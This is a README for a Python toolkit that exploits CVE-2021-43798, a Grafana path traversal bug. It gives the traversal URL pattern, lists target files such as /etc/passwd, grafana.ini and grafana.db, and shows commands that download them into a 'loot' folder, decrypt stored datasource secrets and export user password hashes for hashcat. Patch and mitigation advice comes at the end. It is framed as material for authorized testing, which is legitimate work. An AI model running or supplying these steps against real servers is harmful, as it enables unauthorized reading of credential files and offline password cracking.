
Python toolkit for authorized testing of CVE-2021-43798, a Grafana path traversal vulnerability that can allow unauthenticated arbitrary file reads through plugin asset paths.
This repository contains:
grafana_poc.py: interactive arbitrary file read PoC that saves downloaded files locally.grafana_pass_decryptor.py: helper to decrypt Grafana encrypted datasource secrets when grafana.ini and/or the secret_key are available, and to export Grafana user password hashes from grafana.db.Use this project only on systems you own, operate, or have explicit written permission to test. Unauthorized exploitation can expose sensitive files, credentials, private keys, database contents, and user password hashes.
CVE-2021-43798 affects Grafana versions from 8.0.0-beta1 through 8.3.0. The patched versions are 8.3.1, 8.2.7, 8.1.8, and 8.0.7.
The issue is reachable through plugin asset routes such as:
/public/plugins/<plugin-id>/../../../../../../../../../../../../..<file>
Common files requested during authorized validation include:
/etc/passwd
/etc/grafana/grafana.ini
/var/lib/grafana/grafana.db
/proc/self/cmdline
Access depends on the operating system permissions of the Grafana process.
requestspycryptodome or cryptography for secret decryptionInstall dependencies:
python3 -m venv .venv
source .venv/bin/activate
pip install -r requirements.txt
Run the interactive PoC against an authorized target:
python3 grafana_poc.py -H http://target:3000 -o loot
At the prompt, enter absolute paths:
Download file > /etc/passwd
Download file > /etc/grafana/grafana.ini
Download file > /var/lib/grafana/grafana.db
Download file > exit
Downloaded files are saved under the output directory while preserving a safe version of the remote path, for example:
loot/etc/grafana/grafana.ini
loot/var/lib/grafana/grafana.db
If you have both grafana.ini and grafana.db, the decryptor can read the secret_key from the config file and attempt to decrypt encrypted datasource, alert notification, and plugin secrets:
python3 grafana_pass_decryptor.py \
--ini loot/etc/grafana/grafana.ini \
--db loot/var/lib/grafana/grafana.db
Decrypt one encrypted blob manually:
python3 grafana_pass_decryptor.py \
--secret-key SW2YcwTIb9zpOOhoPsMm \
--blob R3pMVVh1UHLoUkTJOl+Z/sFymLqolUOVtxCtQL/y+Q==
Print newline-delimited JSON:
python3 grafana_pass_decryptor.py \
--ini loot/etc/grafana/grafana.ini \
--db loot/var/lib/grafana/grafana.db \
--json
Grafana user passwords are not encrypted secrets. They are salted PBKDF2 hashes. Export them from the user table:
python3 grafana_pass_decryptor.py \
--ini loot/etc/grafana/grafana.ini \
--db loot/var/lib/grafana/grafana.db \
--users
Export only hashcat mode 10900 lines:
python3 grafana_pass_decryptor.py \
--db loot/var/lib/grafana/grafana.db \
--users \
--hashcat > hashes.txt
Upgrade Grafana to a patched release:
8.3.1 or later for the 8.3 branch8.2.7 or later for the 8.2 branch8.1.8 or later for the 8.1 branch8.0.7 or later for the 8.0 branchIf immediate upgrade is not possible, Grafana's advisory notes that placing a reverse proxy in front of Grafana that normalizes request paths can mitigate the traversal behavior. Treat that as a temporary control, not a replacement for patching.
The original public PoC is credited to s1gh on Exploit-DB. The Grafana secret decryption workflow is inspired by public research and examples from jas502n/Grafana-CVE-2021-43798, with this repository providing a Python helper for lab and authorized assessment workflows.